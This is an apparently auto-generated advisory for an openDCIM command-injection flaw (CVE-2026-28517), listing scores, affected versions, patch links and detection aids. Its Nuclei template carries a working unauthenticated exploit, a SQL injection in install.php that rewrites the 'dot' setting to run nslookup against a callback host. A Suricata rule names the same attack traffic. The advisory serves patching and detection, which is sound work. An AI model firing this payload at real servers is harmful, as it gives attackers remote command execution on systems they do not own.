CVE-2026-28517: openDCIM <= 23.04 OS Command Injection via dot Configuration Parameter
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-17 06:13 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
openDCIM version 23.04, through commit 4467e9c4, contains an OS command injection vulnerability in report_network_map.php. The application retrieves the ‘dot’ configuration parameter from the database and passes it directly to exec() without validation or sanitization. If an attacker can modify the fac_Config.dot value, arbitrary commands may be executed in the context of the web server process.
Description quoted from the CVE record (assigned by VulnCheck, published 2026-02-27).
Weakness: CWE-78 Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
How it can be exploited
Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.
Public exploit evidence (Exploit Observer)
Exploit Observer found 1 Nuclei template and 5 code repositories naming this CVE.
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 9 references on Exploit Observer
Live scores
- EPSS
- 0.102
likely to be attacked soon - VEDAS
- 0.987
strong exploit evidence - On CISA KEV
- Not listed
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| openDCIM | up to and including 23.04 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
Vendor guidance:
- https://github.com/opendcim/openDCIM/pull/1664 (issue-tracking, patch)
- https://github.com/opendcim/openDCIM/pull/1664/changes/8f7ab2a710086a9c8c269560793e47c577ddda09 (issue-tracking, patch)
How to detect it
Nuclei template (active check)
openDCIM - Unauthenticated SQL Injection to OS Command Execution
openDCIM 23.04 through commit 4467e9c4 executes the `dot` configuration value retrieved from fac_Config directly via exec() in report_network_map.php without validation (CWE-78). The value is attacker-controllable without authentication because install.php stays reachable after installation and processes the LDAP configuration form through Config::UpdateParameter() without authentication or sanitisation, permitting stacked SQL queries that overwrite fac_Config.dot. This template chains both: it poisons fac_Config.dot via the unauthenticated install.php LDAP injection so the dot binary runs an out-of-band lookup, then requests report_network_map.php to trigger exec() and confirm command execution via a unique interactsh interaction.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (POST /install.php, GET /report_network_map.php?format=0&containerid=1); it confirms through an out-of-band callback (interactsh), so the scanner must be able to receive it; it decides using dsl, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2026-28517.yamlShow the template (51 lines)
id: CVE-2026-28517
info:
name: "openDCIM - Unauthenticated SQL Injection to OS Command Execution"
author: vedas-arpsyndicate
severity: critical
description: |
openDCIM 23.04 through commit 4467e9c4 executes the `dot` configuration value retrieved from fac_Config
directly via exec() in report_network_map.php without validation (CWE-78). The value is attacker-controllable
without authentication because install.php stays reachable after installation and processes the LDAP
configuration form through Config::UpdateParameter() without authentication or sanitisation, permitting
stacked SQL queries that overwrite fac_Config.dot. This template chains both: it poisons fac_Config.dot via
the unauthenticated install.php LDAP injection so the dot binary runs an out-of-band lookup, then requests
report_network_map.php to trigger exec() and confirm command execution via a unique interactsh interaction.
reference:
- https://www.exploit.observer/?keyword=CVE-2026-28517&match=exact
- https://subdomain.center/?engine=ammonites&keyword=opendcim&match=exact
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.3
cve-id: CVE-2026-28517
cwe-id: CWE-78
metadata:
verified: false
max-request: 2
tags: cve,cve2026,opendcim,sqli,rce,oast,intrusive
flow: http(1) && http(2)
http:
- raw:
- |
POST /install.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
ldapaction=Set&LDAPServer=&LDAPBaseDN=%22%20WHERE%201%3D0%3B%20UPDATE%20fac_Config%20SET%20Value%3D%27nslookup%20{{interactsh-url}}%27%20WHERE%20Parameter%3D%27dot%27%20--%20&LDAPBindDN=&LDAPSiteAccess=
matchers:
- type: dsl
dsl:
- 'status_code == 200 || status_code == 302'
internal: true
- raw:
- |
GET /report_network_map.php?format=0&containerid=1 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-28517 openDCIM - Unauthenticated SQL injection poisoning fac_Config dot for command execution. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-28517 openDCIM - Unauthenticated SQL injection poisoning fac_Config dot for command execution"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"install.php"; nocase; http.request_body; content:"fac_Config"; nocase; fast_pattern; content:"UPDATE"; nocase; content:"Parameter"; nocase; content:"dot"; nocase; classtype:web-application-attack; reference:cve,CVE-2026-28517; reference:url,https://www.exploit.observer/?keyword=CVE-2026-28517&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=opendcim&match=exact; sid:1088203; rev:1;)
CVE-2026-28517.rules on GitHub
References
Vendor advisories and patches
- https://github.com/opendcim/openDCIM/pull/1664 (issue-tracking, patch)
- https://github.com/opendcim/openDCIM/pull/1664/changes/8f7ab2a710086a9c8c269560793e47c577ddda09 (issue-tracking, patch)
Exploit code
- https://chocapikk.com/posts/2026/opendcim-sqli-to-rce/ (technical-description, exploit)
- https://github.com/Chocapikk/opendcim-exploit (exploit)
Technical analysis and advisories
- https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter (third-party-advisory)
Other references
- https://github.com/opendcim/openDCIM/blob/4467e9c4/report_network_map.php#L7
- https://github.com/opendcim/openDCIM/blob/4467e9c4/report_network_map.php#L467
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.
Supporting partners